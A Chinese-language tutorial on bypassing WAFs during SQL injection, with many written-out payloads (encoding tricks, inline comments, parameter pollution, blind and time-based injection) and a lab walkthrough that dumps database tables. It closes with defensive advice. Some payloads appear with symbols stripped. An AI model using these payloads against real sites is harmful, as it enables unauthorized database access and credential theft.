SQL注入绕过WAF的实战思路与九大技巧详解

📅 2026/7/4 22:44:58
SQL注入绕过WAF的实战思路与九大技巧详解
1. 项目概述当SQL注入遇上WAF一场猫鼠游戏的开始在Web安全领域SQL注入和WAFWeb应用防火墙的关系就像一场永不停歇的猫鼠游戏。很多刚入门的朋友一听到“绕过WAF”就觉得是件很酷、很高级的事情甚至有些教程会把它渲染成一种“炫技”。但我想说的是别被那些花里胡哨的标题唬住了。今天我们不谈玄学不搞“炫技”就从一个一线从业者的角度来聊聊面对WAF时SQL注入的实战思路到底是什么。这绝不是教你“绕过”而是让你理解WAF的“脾气”知道它怎么“想”然后找到那些它可能“看走眼”的缝隙。从零基础到能看懂、能动手这篇内容会非常详细你可以把它当作一本实战手册来用。WAF本质上是一个规则过滤器它基于一系列预设的规则比如黑名单、正则表达式来拦截恶意的HTTP请求。它的目标很明确把那些看起来像SQL注入、XSS的攻击流量挡在门外。但问题在于规则是人写的而人的思维和代码的实现总会有盲区和边界情况。我们的“野路子”其实就是对这些盲区和边界情况的系统性探索和利用。这需要你对SQL语法、HTTP协议、以及目标WAF可能的行为模式有深入的理解。所以这篇内容会从基础原理讲起逐步深入到各种场景下的具体手法和思维模型收藏起来遇到问题时翻一翻或许就能找到灵感。2. 核心原理拆解WAF是如何工作的我们又该如何思考2.1 WAF的防御机制与常见盲点要找到“野路子”首先得知道“正路”是什么。主流的WAF通常采用多层检测机制协议验证层检查HTTP请求是否符合规范。比如请求头格式、请求方法、参数长度等。一些畸形的请求如超长参数、畸形的分块编码可能在这一层就被丢弃。规则匹配层核心这是WAF的大脑。它维护着一个庞大的特征库黑名单里面包含了各种已知攻击手法的模式比如UNION SELECT、OR 11、sleep(、information_schema等关键词和函数。当请求中的参数值与这些特征匹配时请求就会被阻断。语义分析层高级WAF一些先进的WAF会尝试理解参数的上下文和语义。例如它可能能识别出1‘ AND ‘1’’1是一个永真条件即使它被拆分成1‘ AND ‘1’’1也会被拦截。这层防御更难绕过。行为分析层监控异常行为例如短时间内大量触发疑似规则的请求可能会触发IP封禁或验证码挑战。WAF的盲点往往就藏在它的工作方式里规则是静态的WAF的规则库更新再快也快不过攻击者的思维发散。一个从未出现过的字符组合、一个冷门的数据库函数都可能成为漏网之鱼。解析差异WAF作为反向代理或中间件和后端Web服务器/应用如ApachePHP、Nginx、IISASP.NET对HTTP请求的解析可能存在细微差别。WAF可能按照一种方式解析而后端按另一种方式理解这就产生了“缝隙”。性能与误报的权衡WAF需要在安全性和性能、误报率之间取得平衡。过于严格的规则会导致大量正常业务请求被误杀。因此规则设计上会存在一定的容忍度这给了我们操作空间。注意这里讨论的所有技术思路都仅限于授权的安全测试、CTF比赛或自身学习环境如DVWA、Pikachu、SQLi-Labs等靶场。未经授权对他人系统进行测试是违法行为。2.2 构建绕过思维从“硬刚”到“巧取”新手常犯的错误是拿着一个经典的‘ or ‘1’’1去撞WAF然后被拦了就束手无策。真正的思路应该是信息收集首先判断WAF的存在和类型。通过返回头的Server字段、错误页面、拦截页面的特征如阿里云WAF的JS挑战页、Cloudflare的验证页来识别。不同厂商的WAF规则强度和侧重点不同。探测规则边界不要一上来就注入完整Payload。先发送一个绝对安全的请求如id1然后逐步添加“可疑”字符观察WAF的反应。比如id1‘(单引号)是否被拦截返回什么错误id1‘ and ‘1’’1是否被拦截id1‘ and ‘1’’2是否被拦截 通过对比拦截与放行的请求可以大致摸清WAF对哪些关键词、符号敏感。利用解析差异思考WAF和后端应用解析请求的差异点。例如HTTP参数污染HPP就是经典案例。变形与混淆这是“野路子”的核心。用各种方法让你的恶意Payload“看起来”不像恶意Payload。3. 九大“野路子”实战详解与靶场复现下面我将结合常见的靶场环境如DVWA、Pikachu、BUU CTF题目详细拆解每一种绕过思路。我会解释为什么这么做可能有效并给出具体的、可复现的示例。3.1 大小写变换与字符插入最朴素的混淆原理一些简单的、基于字符串完全匹配的黑名单规则可能对大小写敏感。或者我们可以在关键词中插入会被WAF剥离但被数据库解析器忽略的字符。实操示例混合大小写# 原始Payload可能被拦截 http://target.com/vul.php?id1 UNION SELECT user, password FROM users # 变换大小写尝试绕过 http://target.com/vul.php?id1 uNiOn SeLeCt user, password FrOm users在MySQL中关键字是不区分大小写的。但WAF的规则union select可能无法匹配uNiOn SeLeCt。内联注释混淆 MySQL支持/*!...*/这种特殊注释其中的代码在MySQL中会被执行在其他数据库则被视为注释。我们可以利用它来分割关键词。http://target.com/vul.php?id-1 /*!UNION*/ /*!SELECT*/ 1,2,database()-- -更隐蔽的可以在注释中指定数据库版本号只有版本号大于等于指定值的MySQL才会执行其中的语句http://target.com/vul.php?id-1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -有些WAF的规则可能不会深入解析这种注释内的内容。插入特殊字符 在关键词中插入WAF可能会删除的字符如空格、换行、制表符但数据库解析时会忽略它们。# 使用%0a换行、%09制表符代替空格 http://target.com/vul.php?id1%0aUNION%0aSELECT%0a1,2,3--%0a # 或者使用括号包裹 http://target.com/vul.php?id1(UnI)(oN)(SeL)(EcT)1,2,3--实操心得这种方法对简单的、正则表达式写得不够严谨的WAF有效。在DVWALow级别或Pikachu靶场中你可以轻松尝试。但在中高级别的WAF面前这通常是第一步的试探成功率不高。3.2 编码与双重编码换件“马甲”原理WAF可能只对原始参数进行解码一次或者只检查特定类型的编码。如果我们将Payload进行编码如URL编码、十六进制编码、Unicode编码甚至进行双重编码可能就能骗过WAF的检测而后端服务器会对其进行正确解码并执行。实操示例URL编码union select的URL编码是%75%6e%69%6f%6e%20%73%65%6c%65%63%74。http://target.com/vul.php?id1 %75%6e%69%6f%6e %73%65%6c%65%63%74 1,2,3-- -注意这里空格也需要编码为%20。有些WAF可能不会解码%20后面的内容进行深度检查。双重URL编码 这是更常用的技巧。对‘单引号进行一次URL编码是%27再进行一次编码%被编码为%25所以%27变成了%2527。# 假设后端PHP代码会进行urldecode而WAF只检查一层解码后的内容 http://target.com/vul.php?id1 %2527 and %2527 1%2527%2527 1-- -WAF解码一次id1 %27 and %27 1%27%27 1-- -它可能认为%27只是个普通字符放行了。 后端PHP再解码一次id1 ‘ and ‘1’’1-- -注入成功。十六进制编码 将字符串转换为十六进制。例如SELECT的十六进制是0x53454c454354admin是0x61646d696e。# 在注入点使用 ?id1 and (select substr(username,1,1) from users limit 1)0x61-- - # 0x61 是 ‘a’ 的十六进制很多WAF的规则可能只匹配文本形式的admin而不会匹配其十六进制形式。Unicode编码/UTF-8溢出 在某些特定语境下如ASP.NET可以利用Unicode的“等价性”或特殊字符。# 示例使用全角字符或特殊Unicode字符 # 全角单引号27 看起来像 %27 但不是 # 或者利用某些字符在特定编码下被“吞掉”的特性较复杂需特定环境靶场实战以Pikachu的SQL注入关卡为例 假设一个搜索框存在注入原始Payload‘ union select database(),user(),version()#被拦截。 尝试大小写‘ uNiOn SeLeCt database(),user(),version()#可能失败内联注释‘ /*!UNION*//*!SELECT*/ database(),user(),version()#可能失败双重编码将‘ union select进行双重URL编码。先编码一次得到%27%20union%20select再对%编码%2527%2520union%2520select输入框提交%2527%2520union%2520select%2520database(),user(),version()%23观察是否被拦截以及返回结果。注意事项编码绕过的关键在于理解目标应用的处理流程。是Apache还是Nginx是PHP的$_GET还是$_REQUEST它们处理编码的顺序和次数可能不同。最好的方法是搭建一个简单的测试环境用Burp Suite反复发包观察WAF和应用的日志。3.3 等价函数与操作符替换寻找“替身”原理WAF的规则库不可能穷举所有数据库的所有函数和操作符。当substr()被拦截时试试mid()或substring()。当sleep()被用于时间盲注时试试计算密集型的benchmark()函数。实操示例字符串截取函数substr((select database()),1,1)‘a’mid((select database()),1,1)‘a’substring((select database()),1,1)‘a’甚至可以用left()和right()left((select database()),1)‘a’字符串连接函数concat(‘a‘,‘b‘)可能被拦截。试试concat_ws(‘’,‘a‘,‘b‘)带分隔符的连接。或者group_concat(column_name)在需要拼接多行结果时非常有用。信息获取函数version或version()获取版本。datadir或datadir()获取数据目录。user()获取当前用户。database()获取当前数据库。时间盲注替代sleep(5)是最常见的但也最容易被封。benchmark(count, expr)重复执行expr表达式count次利用其耗时。例如1‘ and if(ascii(substr(database(),1,1))100, benchmark(10000000,md5(‘test‘)),0)-- -。如果第一个字符的ASCII码大于100则会执行大量MD5计算产生明显延迟。实操心得benchmark的延迟效果取决于服务器性能count值需要根据实际情况调整。在实战中最好先测试一个基准响应时间再通过显著增加计算量来制造可观测的延迟差。比较操作符被拦截试试like、rlike、regexp。1 and 11被拦截试试1 and 1 like 1或1 and 1 in (1)。甚至可以用strcmp()函数进行逐字符比较strcmp(left(database(),1), 0x61)0判断第一个字符是否为 ‘a‘0x61是 ‘a‘ 的十六进制。3.4 HTTP参数污染HPP与参数拆分制造“误解”原理这是利用WAF和Web应用服务器对同名参数处理方式不同的一种技巧。当URL中出现多个同名参数时如?id1id2WAF可能只检查第一个或最后一个而Web应用如PHP/Apache, JSP/Tomcat, ASP.NET/IIS则会按照自己的规则选取一个值。这就可能造成WAF看到的是无害参数而应用接收到的是恶意参数。常见服务器行为PHP/Apache通常取最后一个值。?id1idunion select 1,2,3-- -Apache可能将两个参数都传给PHP但$_GET[‘id‘]的值是union select 1,2,3-- -。JSP/Tomcat通常取第一个值。ASP.NET/IIS通常取所有值并用逗号连接。?id1id2得到id1,2。Python Flask取第一个值。Perl/CGI取第一个值。实操示例 假设目标是一个PHP站点WAF检查第一个id参数。# 原始恶意请求肯定被拦 http://target.com/vul.php?id1‘ union select 1,2,database()-- - # 使用HPP添加一个无害的id参数在前 http://target.com/vul.php?id1id1‘ union select 1,2,database()-- -WAF检查第一个id1认为是安全的放行。PHP接收到两个参数但$_GET[‘id‘]取最后一个值1‘ union select 1,2,database()-- -注入成功。参数拆分HPF 将一个完整的SQL语句拆分到多个参数中利用注释符让它们在SQL中重新组合。http://target.com/vul.php?a1‘ /*b*/ union /*c*/ select /*d*/ 1,2,database()-- -在WAF看来这是四个独立的参数a,b,c,d每个看起来都无害b的值是*/ union /*可能不会被单独匹配为关键词。 但在SQL解析时注释/*和*/之间的内容会被忽略所以实际执行的SQL是select * from table where id‘1‘ union select 1,2,database()-- -‘/*b*/这部分/*注释掉了b*/结束了注释中间的union就被释放出来了。靶场实战 在DVWAMedium或High级别或自己搭建的测试环境中用Burp Suite抓包修改请求添加多个同名参数观察响应变化。这是理解服务器行为最直接的方法。3.5 缓冲区溢出攻击古老的“力大砖飞”原理这是一种比较古老的思路并非针对WAF的规则而是针对WAF软件本身的漏洞。通过构造一个超长的、畸形的请求试图使WAF的处理程序发生缓冲区溢出进而崩溃或进入异常状态可能暂时失去检测能力。这种方法高度依赖于特定WAF产品的具体版本和实现通用性差且容易造成DoS拒绝服务在实战和CTF中已较少见但作为一种历史思路需要了解。示例?id1 and (select 1)(Select 0x4141414141414141... (非常长的‘A‘字符)) union select ...思路是让WAF在解析这个超长参数时分配内存失败或处理异常。重要提示在现代生产环境中这种攻击方式几乎无效且极易触发系统的其他防护机制如IP封禁。不推荐在任何测试中使用仅作原理了解。3.6 组合技与白名单思维终极的“野路子”原理单一技巧容易被针对但将多种技巧组合起来就能极大增加Payload的迷惑性。同时尝试从“允许什么”而非“拦截什么”的角度思考。如果网站有搜索功能那么%、_LIKE操作符通配符很可能在白名单里。如果网站有排序功能order by后的列名可能被允许。实操示例组合技 假设我们要注入‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -我们可以这样变形大小写混淆‘ uNiOn SeLeCt内联注释分割关键词‘ /*!uNiOn*//*!SeLeCt*/编码关键部分information_schema变成十六进制0x696e666f726d6174696f6e5f736368656d61使用等价函数group_concat换成concat_ws(0x7e, table_name)用~连接。使用特殊符号database()换成database()反引号包裹在MySQL中可避免与关键字冲突。最终Payload可能变成?id1‘ /*!uNiOn*//*!SeLeCt*/ 1,concat_ws(0x7e,table_name),3 from /*!0x696e666f726d6174696f6e5f736368656d61*/.tables where table_schema‘dvwa‘-- -这个Payload的“恶意特征”被极大地稀释了。白名单思维示例 如果发现order by参数可控且WAF可能对order by后的内容检测较松可以尝试# 原始?sortid (按id排序) # 尝试?sort(case when (select substr(database(),1,1))‘a‘ then id else title end)这实际上是一个盲注通过改变排序结果来推断信息。4. 靶场实战全流程以DVWA和Pikachu为例让我们在一个模拟环境中走一遍完整的流程。假设我们面对一个类似DVWA High级别的SQL注入关卡输入框只有一个User ID并且有WAF防护。4.1 第一步侦察与指纹识别正常请求提交id1返回正常用户信息。触发错误提交id1‘。观察直接拦截返回403 Forbidden或明确的WAF拦截页面如阿里云WAF的JS挑战。这说明有WAF且规则较严。返回数据库错误如You have an error in your SQL syntax...。这说明WAF可能没拦或者规则没覆盖单引号。返回通用错误或空白页可能是WAF拦截后返回的统一错误也可能是代码做了异常处理。判断注入类型提交id1‘ and ‘1‘‘1和id1‘ and ‘1‘‘2。如果前者返回正常后者返回不同或无结果则存在字符型注入。如果都被拦截说明and和等号触发了规则。4.2 第二步绕过初步过滤以字符型为例假设id1‘ and ‘1‘‘1被拦截。尝试编码id1 %2527 and %2527 1%2527%2527 1双重URL编码。观察是否放行。尝试注释符id1‘ /*!and*/ ‘1‘‘1。MySQL可能执行WAF可能忽略注释内内容。尝试改变逻辑id1‘ or ‘1‘ like ‘1。用like代替。尝试参数污染id1id1‘ and ‘1‘‘1。看服务器如何处理同名参数。假设通过id1‘ or ‘1‘ like ‘1成功绕过且返回了所有结果证明注入点存在且可被利用。4.3 第三步判断列数与回显点原始Payload‘ order by 10-- -可能被拦截。变形‘ /*!order*/ /*!by*/ 10-- -逐步试探‘ /*!order*/ /*!by*/ 5-- -‘ /*!order*/ /*!by*/ 3-- -。直到不报错假设是3列。判断回显点‘ /*!union*/ /*!select*/ 1,2,3-- -。如果被拦截继续变形‘ /*!50000uNiOn*/ /*!50000sElEcT*/ 1,2,3-- -‘ UnIoNSeLeCt1,2,3-- -用号连接‘ and (select 1)(select 2) union select 1,2,3-- -前面加个永假条件有时能绕过某些规则 假设页面在显示2和3的位置输出了数字说明第2、3列是回显点。4.4 第四步获取数据库信息当前数据库‘ /*!union*/ /*!select*/ 1,database(),user()-- -如果database()被拦截尝试database()(反引号)schema()(MySQL中schema()是database()的同义词)通过datadir推测信息有限。获取表名‘ /*!union*/ /*!select*/ 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- -如果information_schema被重点监控使用十六进制from /*!0x696e666f726d6174696f6e5f736368656d61*/.tables使用内联注释指定版本from /*!50000 information_schema*/.tables如果完全不能用information_schema某些云数据库环境可能需要依赖时间盲注或错误注入来逐字符猜解难度极大。获取列名假设得到表名users。‘ /*!union*/ /*!select*/ 1,2,group_concat(column_name) from information_schema.columns where table_name‘users‘ and table_schemadatabase()-- -同样可以对‘users‘进行十六进制编码table_name0x7573657273。拖取数据假设列名为user, password。‘ /*!union*/ /*!select*/ 1,user,password from users-- -4.5 第五步高级场景——盲注与时间盲注绕过当没有明显回显点时就需要盲注。布尔盲注和时间盲注的Payload构造思路类似但判断依据不同。布尔盲注Payload示例 判断数据库名第一个字符是否为 ‘a‘。 原始1‘ and ascii(substr(database(),1,1))97-- -绕过替换函数1‘ and ascii(mid(database(),1,1))97-- -替换操作符1‘ and ascii(left(database(),1)) like 97-- -使用strcmp1‘ and strcmp(left(database(),1), 0x61)0-- -插入注释1‘ /*!and*/ ascii(/*!substr*/(database()/*!*/,1,1))/*!*/97-- -时间盲注Payload示例 判断数据库名第一个字符是否为 ‘a‘是则延迟5秒。 原始1‘ and if(ascii(substr(database(),1,1))97,sleep(5),0)-- -绕过替换sleep1‘ and if(ascii(substr(database(),1,1))97,benchmark(10000000,md5(‘test‘)),0)-- -编码与注释1‘ /*!and*/ if(ascii(/*!substr*/(database()/*!*/,1,1))/*!*/97,/*!sleep*/(5),0)-- -使用select ... where子查询制造延迟较复杂1‘ and (select 1 from users where ascii(substr(user,1,1))97 and sleep(5))-- -5. 防御视角与总结反思聊了这么多“攻”的思路最后必须站在“防”的角度看问题。作为一个开发者或安全工程师理解这些绕过手法是为了更好地防御。根本解决参数化查询预编译语句这是唯一能从根本上杜绝SQL注入的方法。无论输入多么畸形在预编译语句中用户输入永远被视为数据而非代码。这是所有防御措施的基石。输入验证与过滤在参数化查询的基础上进行严格的输入验证。白名单优于黑名单。如果ID只能是数字就用正则^[0-9]$严格校验非数字直接拒绝。最小权限原则数据库连接账户不应使用root或dbo。应为其分配仅能满足应用功能所需的最小权限。比如查询操作只给SELECT权限。错误信息处理切勿将详细的数据库错误信息直接返回给前端。应使用自定义的、通用的错误页面。WAF作为纵深防御的一环WAF不是银弹。它应该被视作应用层外的一道动态防护网用于拦截已知的、批量的、自动化的攻击。它的规则需要持续运营和更新但不能依赖它来弥补代码层面的安全漏洞。个人实操心得保持好奇心与耐心绕过WAF often是一场心理战和技术试探的结合。不要指望一个Payload通吃所有场景。需要像调试程序一样不断修改、测试、观察、分析。理解上下文永远不要脱离上下文去记忆Payload。为什么这个编码有效为什么这个参数污染能成功背后是PHP的$_GET特性还是Apache的解析顺序理解原理比记忆招式重要得多。工具是辅助思维是关键Sqlmap这样的自动化工具很强大但在面对WAF时其内置的tamper脚本如space2comment,randomcase就是各种绕过技巧的自动化实现。学会手写、修改tamper脚本是进阶的必经之路。但更重要的是你要能看懂脚本在做什么以及为什么要这么做。合法合规是底线再次强调所有技术都应在合法授权的范围内使用。搭建自己的靶场DVWA, SQLi-Labs, Pikachu, WebGoat等进行练习是学习的最佳途径。这场与WAF的博弈本质上是对Web系统深层理解的较量。它逼迫你去思考HTTP协议、数据库解析、编程语言特性以及安全产品逻辑之间的细微缝隙。希望这篇超详细的“野路子”指南能为你打开一扇门不是通往破坏而是通往更深层次的理解与建设。收藏好慢慢练实战中见真章。